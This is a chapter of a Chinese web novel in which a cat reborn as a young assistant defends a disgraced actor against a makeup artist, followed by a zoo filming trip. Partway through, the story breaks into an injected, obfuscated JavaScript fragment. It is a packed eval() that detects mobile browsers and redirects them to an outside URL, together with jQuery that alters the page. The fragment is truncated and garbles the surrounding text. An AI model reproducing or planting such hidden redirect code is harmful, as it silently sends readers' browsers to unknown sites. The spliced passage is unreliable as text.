宋时寒其实觉得自己对那些骂声已经无所谓了。
毕竟,如果他“有所谓”的话,早就该滚进精神病院或者焚尸炉了。
因此,在化妆师刚开始骂人的时候。他只是下意识地攥紧了十指,但很快又面不改色地松开了。
鸦羽一般的睫毛薄薄地在面上投下阴翳,遮住了宋时寒眸中的神色。
被奚落,被嘲笑,被用异样的眼光打量着身体部位……自己不是早该习惯了吗?
只是,新来的小助理大概要被自己连累了。
于是第一时间,他没有分辩,没有反驳,只是想让阮安有个合适的理由,离开这令人窒息的场所。
自己这样烂泥一样的命运,不应该连累其他人。
更何况,她几乎怀揣着和自己当年一样初心与希望。
也不知道厄运会不会传染。
宋时寒在劝她离开的间隙里,眼角流露出几分自嘲。
可是她居然想要帮自己争辩回去。
宋时寒有些诧异。
但是很快,他的心神又回归到一种平静的,自厌自弃的频率中。
大概就像最初的帮他说话的,怀疑谣言的粉丝看客一样,早晚都是要走的。
不用怀揣什么不切实际的奢望。
不然只会在别人离开时,因为始料未及而更加狼狈。
他用余光轻轻打量阮安。一双明亮的猫眼瞪得溜圆,好像以为这样就可以恐吓敌人。
就算这样,她被打击以后,应该也会很快离开吧。
然后……这暗无天日的、令人窒息的命运洪流只吞没自己一个人就够了。
宋时寒忽然有些后悔,后悔自己前几天为什么要让她留下来。
即使预设她受了委屈之后,估计很快就会离开,可他的心脏依旧被闷闷的愧疚捏紧。
阮安本可以不受委屈。
这完全是无妄之灾。
果然,厄运是会传染的。
他想扭过头去让她赶紧离开,可她分明被气到发音都含混,还在坚定地维护他。
“你虫脆就是个洪蛋!”
这是宋时寒第一次听见阮安骂人。
气势汹汹。
还有点可爱。
宋时寒觉得那句话像是在他耳中绕了个圈,挠得他鼓膜生痒。
一旁的化妆师听见这话,也沉默了一瞬。
化妆师觉得,这简直像是枪林弹雨的战场上,忽然窜出一个全副武装的小鬼头。
就在自己等着她开大的时候——
她大喝一声掏出了五彩缤纷的玩具枪!
然后像模像样地朝自己biubiubiu!
……真是很恐怖的威慑。
化妆师忽然后知后觉,这个小助理看着……年龄好像很小?
就算宋时寒做了那么过分的事情,但是在小女孩面前,讨论沟子长沟子短的,似乎是有点不妥?
她想了想,于是也板着脸,想把人训斥出去再继续开团:
“听到没有!你老板都让你出去!
大人说话小孩子插什么嘴!
况且,和这种人待在一起,迟早得被带坏。”
阮安听了这话,可不得了啦!
如果她还是猫的话,现在肯定全身绒毛都炸成一团毛球了!
自己都用能想到最恶毒的话训斥她了!
——居然恐吓到了0个人!
这不是看不起自己猫猫大王吗?!
可恶!难道这些人真以为,只有小比才是魔丸吗?!
阮安在心中恨恨地发誓,这样的两脚兽终究要为自己的愚蠢付出代价!!!
下一秒,暂停火力,决定先把阮安赶走的化妆师忽然神色一怔。
她下意识去摸散粉的指尖忽然摸了一个空?
化妆师没有多想,随便扭头一看,忽然发现自己原来摆放散粉的位置忽然空了。
难道自己记错了?
她在化妆箱里来回扒拉了好几遍,都没有看见散粉的踪迹。总不能是自己弄丢了?
那可是她特意找人从法国代购的绝版货啊?!
化妆师的额角霎时沁出汗来,她随意用手腕一抹,就再一次翻找起来。
可翻着翻着,她的动作忽然停了。
在她指尖触碰过的瓶瓶罐罐上,怎么弄上了白色的痕迹?
她后知后觉抬头一看……
视线是白的,但她两眼一黑。
纷纷扬扬的散粉尸体在她头顶天女散花……
阮安一手散粉一手化妆刷。
旋转~跳跃~她闭着眼~
“你疯了?那一克就要三位数?!”
“我只是骂宋时寒,我又没骂你!至于吗?!”
“快放下来!快放下来!”
听见化妆师嘴里不再攻击宋时寒,阮安才停下动作,一左一右举着粉饼和化妆刷,巴掌大的小脸上满是阴阳怪气:
“姐姐~你怎么不接着说宋时寒了~”
“还不是因为你抢我粉饼!”
化妆师下意识忿忿不平道。
阮安眼咕噜一转:“答错啦~”
作势又要用化妆刷去扒拉散粉——
“别别!宋时寒是好人,我不说他了!我不说他了!“
化妆师咬牙切齿地改口道。
“你怎么好像说得不情不愿?”
阮安撅起小嘴,故意板着脸,试图显得很凶的样子。
“我、真、心、觉、得、宋时寒是好人!”
“行了吧!”
化妆师两眼通红,心疼得眼睛都要滴血了。
“那好吧。”
阮安屈尊降贵地把粉饼和化妆刷递了过去。
化妆师接过来,心疼地对着光把粉饼左看右看:“嘶——凹了这么大一块!”
在吸气的间隙里,她恨恨地看向阮安:“不是你的,你不知道心疼!”
阮安反而收起了一副无所谓的神情,认真地看向化妆师:
“你有心疼的东西,我也有心疼的人啊!
你那样污蔑宋时寒,难道我就不心疼吗?”
化妆师没再吭声,倒是宋时寒透过镜子,看了她一眼。
他已经很久很久,没有被人如此坚定地维护过了。
她说,她会心疼。
明明只是才刚被调来自己身边的小员工,居然也会为了维护自己爆发出如此炽热的能量。
宋时寒有些困惑。
眼眸中的深潭寒冰终究是有些动容,好像在暗无天日的深井里,窥见了一线天光。
美好得像是虚幻。
野吗喽回来的时候,屋中的风波已经过去了。
她一手牵着小比,满脸都是沧桑。
看向宋时寒的目光中更是多了几分敬畏之心。
小比“wer!wer!”叫着就要往宋时寒身上扑。身后的野吗喽由于紧握着牵引绳,也一时没有防备被拽了过来。
眼看着就要往堆满化妆品的桌上摔。
被阮安和化妆师联手拦下。
化妆师却丝毫没有感激,只是满脸悲愤地看了一眼阮安和小比:
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093991|195575||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“太过分了你们!”
阮安摸了摸鼻子,瞥了眼到处扑腾的真魔丸·小比。
这一次真的不是她故意的。
还好没造成损失。
一番波折之后,宋时寒的造型还是顺利完成了。
他本身底子就好,即使是偏向自然感的妆容,也无法掩盖其精致的五官和棱角分明的骨相。
大概就像是同样早起,有人挂着眼屎,嘴角还干着口水印。
但宋时寒这种人,却总能凌乱中不失优雅和风度。
尽管他的眼睑低垂,没有锋芒毕露的神色。可那副脸只要生在那里,就已经堪称神迹。
野吗喽拍拍遛狗一趟后满身的狼狈灰尘,对着这张脸左看右看,不禁咂咂嘴:
“果然,这值七位数的脸就是非同凡响。”
别说背后的流量是黑是红,单这张脸出现在屏幕上,就已经足够令人一不开视线了。
普通的蓝色工作服换上,也因为绝佳的身材比例也显得挺拔英俊。在宋时寒和野吗喽身上,堪称卖家秀和买家秀。
阮安也因此骄傲地昂起小脸,整个人神气得不行。
比自己打扮得漂漂亮亮还要高兴。
这大概就是——
铲屎官的美貌,猫猫的荣耀!
*
很快,宾馆一行人就坐车来到了动物园。
“我们今天的拍摄,主要希望展示动物和饲养员生活日常,进而传播善待动物的理念。
第一站我们要去拜访大象家,帮助大象布置一些丰容的道具。”
野吗喽说着又看了一眼小比,口罩上的眼睛弯成月牙:
“说不定小比的气味会有动物喜欢呢!”
“丰容是什么意思?”阮安不是很懂。
她才变成人没多久,文化水平也不是太高。
“丰容是指在圈养条件下通过食物、环境等刺激措施,促进野生动物展示自然行为、改善生理心理状态的系统性技术工作。”
在野吗喽开口之前,宋时寒沉稳、平静的声音率先传来。
“丰容的核心理念源于国际动物福利五大自由原则,旨在弥补圈养动物难以完全实现‘表达正常天性自由’的缺陷。丰容类型涵盖环境、食物、感知、认知、社群等多个维度,常用方法包括搭建攀爬设施、改变投食方式、引入气味刺激等。”
宋时寒不紧不慢地说完一长串,听得阮安眼睛亮晶晶的。
虽然什么“五大自由原则”,什么“表达正常天性自由”她通通都听不懂,但是她就觉得宋时寒娓娓道来的样子简直太酷了。
一旁的野吗喽也有些意外地看了宋时寒一眼。
她没想到这位声名狼藉的影帝,竟然提前了解过这种专业概念。
“不仅是动物园,有些人也会给家养宠物丰容,比如从外面带来不同气味的植物、羽毛……”
阮安的眼睛忽然亮了起来!
说到这她就知道了!
上辈子自己来到宋时寒家的第一个冬天,外面好冷,阮安又因为落水生病了。
于是自己都不被允许出门了。
宋时寒担心从小流浪的猫,待在家里会闷坏,每次出门想方设法给她带来新东西。
有时候是捡到的羽毛,有时候是几根枯草,有时候是一节凝着冻雨的树枝。
那时候宋时寒已经不住大房子了,但是在小小的出租屋里,阮安依然从宋时寒有魔法似的口袋里,紧密地感受着这座城市里山川草木、飞鸟虫鱼。
——感受着沾着宋时寒气息的,一整个冬天。